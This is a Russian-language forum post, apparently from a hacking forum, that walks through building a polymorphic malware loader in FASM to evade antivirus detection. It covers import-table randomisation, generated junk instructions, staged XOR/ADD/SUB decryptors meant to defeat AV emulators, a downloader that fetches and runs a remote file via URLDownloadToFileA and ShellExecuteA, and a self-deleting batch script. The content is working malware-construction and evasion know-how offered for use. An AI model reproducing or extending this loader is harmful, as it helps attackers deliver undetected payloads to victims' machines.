Полиморфим лоадер

James

Ветеран
Premium
Регистрация
27.06.18
Сообщения
589
Лучшие ответы
0
Реакции
734
Баллы
22
Мы попытаемся написать недетектируемый обычным эвристиком лоадер, чтоб после некой доработки выдавать будущему боту уникальный лоадер, чтоб антивирусы нас по сигнатурам не спалили.

Сначала определимся с размером. Думаю 2Кб должно хватить всем. Напишем стаб на FASM с заделом на будущее.

format PE GUI 4.0
include 'win32ax.inc'
section '.text' code readable writable executable
start:
invoke GetCommandLine
invoke GetTickCount
invoke GetLastError
invoke ExitProcess, 0
invoke Sleep, 0
db 1024-($-start) dup (90h)
.end start
section '.data' data readable writeable
mydata: db 1024 dup (?)

Зачем там всякие апи? А чтоб легче было потом.

При загрузке этого .exe в память загрузчиком системы будет следующая картина в адресах:
00400000 - тут заговок файла
00401000 - тут у нас секция кода (1КБ)
00402000 - тут секция импорта
00403000 - секция неинициализированных данных (1КБ)
То, что надо. Возьмем от .exe заголовок (первые 512 байт) и сделаем файлом инклуда, чтоб потом програмным путем собирать наш лоадер из кусочков.

Осталось придумать как будет выглядеть рабочий код лоадера. Мне пришла идея сделать его из трех основных блоков:
[иммитация работы обычной программы]+[полиморфный декриптор]+[сам лоадер]
Иммтация работы обычной программы будет вроде некоторого антиэвристика. Примерно по такой схеме:
Рандомизируем таблицу импорта.
Генерим псевдорабочий код:
1. мусор
1.2 вызов случайного апи
2. условный переход на 2.4 je/jne
2.1 мусор
2.2 пустая функция (3)
2.3 мусор
2.4 мусор
повторить три раза
вызов декриптора
выход

3 Пустая функция
3.1 пролог
3.2 мусор
3.3 эпилог

Первым делом составим небольшой списочек апишек, которые не требуют параметров для вызова и особо не мешают работе программы, например десяток апишек:
api1 db 0,0,'GetCommandLineA',0
api2 db 0,0,'GetTickCount',0
api3 db 0,0,'GetLastError',0
api4 db 0,0,'GetVersion',0
api5 db 0,0,'GetCurrentProcess',0
api6 db 0,0,'GetProcessHeap',0
api7 db 0,0,'GetCurrentProcessId',0
api8 db 0,0,'GetEnvironmentStrings',0
api9 db 0,0,'GetProcessHeap',0
api10 db 0,0,'GetSystemDefaultLangID',0

В стабе мы использовали 5 апи, значит и тут будем использовать 5. Три апишки будут выбираться случайно, плюс одна ExitProcess и одна GetProcAddress.
Последние две нужны чтоб завершить программу и для поиска нужных апи в самом коде лоадера (а то если писать свой поиск нужных апи в памяти, то код может не влезть в килобайт).
Если вы не знаете как устроена секция импорта и как вызываются апи в коде - прочитайте об этом в сети интернет, или посмотрите pedemo.asm из примеров к fasm'у.
Берем найденный в сети интернет генератор случайных чисел и рандомизируем таблицу импорта, дописываем две нужные апишки и готово.

Теперь немного о полиморфизме.
Чтоб не генерить код руками и чтоб он каждый раз был разным как по длине так и по набору комманд - будем генерить его в автоматическом режиме.
Для этого открываем мануал от интела и читаем:

Format of Postbyte(Mod R/M from Intel-Manual)
------------------------------------------
MM RRR MMM

MM - Memeory addressing mode
RRR - Register operand address
MMM - Memoy operand address

RRR Register Names
Filds 32bit
000 EAX 0
001 ECX 1
010 EDX 2
011 EBX 3
100 ESP 4
101 EBP 5
110 ESI 6
111 EDI 7
Чтоб не вылетать с эксепшенами, не будем генерить команды работающие с памятью и регистром ESP (и на всякий случай EBP).
Т.е. есть у нас опкод комманды add reg, reg = 03h 0C0h
Берем ecx (001) и esi (110) в двоичном виде, объединяем (001110) и прибавляем к базовому опкоду (001110b=0Eh 03C0+0E=03CE = add ecx, esi)
Вроде все понятно. Однако есть один нюанс. В свое время, когда процессоры были большие, а память была маленькой, интеловские инженеры придумали одну хитрость. Поскольку самй частоиспользуемый регистр был AX (ставший теперь EAX), то для уменьшения кода они сделали специальный уменьшенный опкод для этого регистра.
Например для add eсx,012345678 опкодами будут 81C178563412. Логично предположить, что заменив C1 на C0 мы получим add eax,012345678. И таки да, мы его получим. А еще мы получим повышенное внимание всех эвристиков у антивирусов.
Потому что любой существующий компилятор знает, что add eax,012345678 должно компилироваться в 0578563412. Антивирусы тоже это знают и сыпят подозрениями, если видят такой код.
Вот опкоды для работы с EAX:
2D sub eax, число
05 add eax, число
25 and eax, число
0D or eax, число
35 xor eax, число
90 xchg eax, регистр
Забавный факт: 90h = это опкод комманды NOP. Т.е. если учесть инфу выше, то получается что NOP = xchg eax, eax

Я буду использовать следующие инструкции для генерации:

regw1 db 03h, 0C0h ;add reg1, reg2
regw2 db 2Bh, 0C0h ;sub reg1, reg2
regw3 db 33h, 0C0h ;xor reg1, reg2
regw4 db 8Bh, 0C0h ;mov reg1, reg2
regw5 db 87h, 0C0h ;xchg reg1, reg2
regw6 db 0Bh, 0C0h ;or reg1, reg2
regw7 db 23h, 0C0h ;and reg1, reg2
regw8 db 0F7h, 0D0h ;not reg1
regw9 db 0D1h, 0E0h ;shl reg1, 1
regw10 db 0D1h, 0E8h ;shr reg1, 1
regw11 db 081h, 0E8h ;sub reg1, rnd
regw12 db 081h, 0C0h ;add reg1, rnd
regw13 db 081h, 0F0h ;xor reg1, rnd
regw14 db 081h, 0C8h ;or reg1, rnd
regw15 db 081h, 0E0h ;and reg1, rnd
regw16 db 0F7h, 0D8h ;neg reg1
regw17 db 0D1h, 0C0h ;rol reg1, 1
regw18 db 0D1h, 0C8h ;ror reg1, 1
regw19 db 08Dh, 00h ;lea reg1, [reg2]
regd1 db 0B8h; mov reg1, rnd

Выьираем рандомно любой опкод из списка, рандомно два (или один) регистр (кроме ESP и EBP) и генерируем инструкцию.
Например:

proc make_xchgreg
call getregs ;получаем два регистра в edx и ecx
or edx, edx ;если там нет eax
jnz @F ;то делаем как обычно
mov al, 90h ;а если есть, то берем нужный опкод
add al, сl ;добавляем регистр
stosb ;записываем
ret ;выходим
@@: mov esi,regw5 ;указатель на xchg reg1, reg2
lodsw ;читаем 2 байта
xor ebx, ebx ;обнуляем ebx для работы
mov ebx, ecx ;ebx=ecx
shl ebx, 3 ;сдвигаем ebx влево на три бита
or ebx, edx ;устанавливем три последних бита из edx
add ah, bl ;добавляем регистры к опкоду
stosw ;сохраняем
ret ;выходим
endp

Все, теперь мы можем генерить рандомный код не задумавыаясь о том, что он делает. Разбавляем код вызовами апишек. Поскольку у нас в заголовке указан адрес таблицы импорта как 00402000, то просто вызываем по проядку:
вызов первой апи будет call [00402050] ;db 0FFh,15h,50h,20h,40h,00
второй call [00402054] и т.д.

В результате получается разный код после каждого запуска нашего билдера:
mini_ldr.png

Прежде чем делать декриптор, нужно сделать лоадер. Сам лоадер будет простейшим - качаем файл через апи URLDownloadToFileA из urlmon.dll и запускаем его посредством апи ShellExecuteA из shell32.dll
Только сначала нужно загрузить в память эти .dll и найти адреса апи. В результате у меня получилось аж три процедуры:
prepare - ищем адрес kernel через PEB, подгружаем .dll'ки, получаем нужные адреса и сохраняем их в секции неинициализированных данных.
loader - используем найденные адреса для скачивания и запуска
selfremove - самоудаление

Для поиска адресов мы добавляли в секцию импорта апи GetProcAddress, вот оно нам и пригодится.
Самоудаление сделаем через стандартный батник:

:rm
del %1
if exist %1 goto rm
del d.bat

а через параметр %1 будем передавать путь и имя своего лоадера.
Пора бы уже зашифровать эти три процедуры случайным ключом, добавить расшифровщик и генерить себе лоадеры, но тут меня посетила идея. Каждой процедуре по своему расшифровщику и алгоритму шифрования!
Выглядеть это будет примерно так:
берем адрес первой процедуры
берем ее длину
декриптим первым алгоритмом
вызываем первую процедуру
берем адрес первой процедуры
берем ее длину+длина второй процедуры
декриптим вторым алгоритмом
вызываем вторую процедуру
берем адрес первой процедуры
берем ее длину+длина второй процедуры+третьей процедуры
декриптим третьим алгоритмом
вызываем третью процедуру

Зачем такой хитрый декрипт? Для антиэвристика. Эмулятор антивируса пройдет наш код, дождется выхода из программы и начнет смотреть память. К этому моменту обычно в памяти остается программа после всех декриптов, т.е. в практически голом виде.
Т.е. сколько бы мы не шифровали, нам все равно нужно расшифровывать свой код, чтоб он отработал. В моем случае код будет расшифровываться кусками и зашифровывать предыдущий код. В результате при выходе из программы в памяти останутся вместо понятного кода куски шифрованных байт :)

В первой части мы выбирали регистры для полиморфного мусора. Их как раз 6 шт, так что можно по два на декриптор каждой процедуры лоадера использовать. Сам декриптор будет прост:

mov reg1, addr ; адрес начала зашифрованного лоадера
mov reg2, len ; количество данных для расшифровки
decrypt:
xor [reg1], XXh либо sub [reg1], XXh либо add [reg1], XXh ; алгоритм шифровки
inc reg1 ; увеличиваем адрес
dec reg2 ; уменьшаем количество
jnz decrypt

Прост по той причине, что у нас килобайт уже кончается. Код лоадера внезапно разжирел и с декриптором, который я планировал разбавить мусором, скорее всего не влезет в наш уютный килобайт.
Длина этого блока декриптора + вызов процедуры = 22 байта. Всех блоков будет 22+22+22+1 байт для ret = 67 байт. Удобно будет вычислять смещени с таким неизменяемым по размеру полуполиморфным декриптором.

Теперь генерим декрипторы, дописываем процедуры лоадера (не забывая зашифровать каждую своим алгоритмом и ключом) и собираем из всего этого исполняемый файл.
Запускаем, получаем лоадер. Проверяем его в работе - работает.
Всё.
 
Сверху